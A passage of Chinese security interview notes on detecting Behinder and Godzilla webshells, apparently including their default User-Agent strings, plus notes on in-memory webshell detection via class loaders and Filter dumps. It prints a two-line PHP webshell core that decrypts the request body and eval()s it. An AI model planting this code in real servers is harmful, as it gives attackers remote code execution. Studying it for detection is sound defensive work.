Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko

$post=Decrypt(file_get_contents("php://input"));
eval($post);

1. 对于相关内存马的特征像哥斯拉和冰蝎的内存马会有跟webshell相似的特征，分析特殊的classloader加载，攻击者喜欢利用TemplatesImpl和bcel加载内存马，因为内存马是驻留在内存里的，本地无class文件，通过检测Filter对应的ClassLoader目录下是否存在class文件来判断，也可以把内存中所有的Filter的class dump出来，使用工具分析是否存在恶意代码2. 关于冰蝎的流量特征答案不固定，根据我上方总结的进行回答即可3. 不同冰蝎版本差距及特征(出现很多次)按照上方进行总结回答即可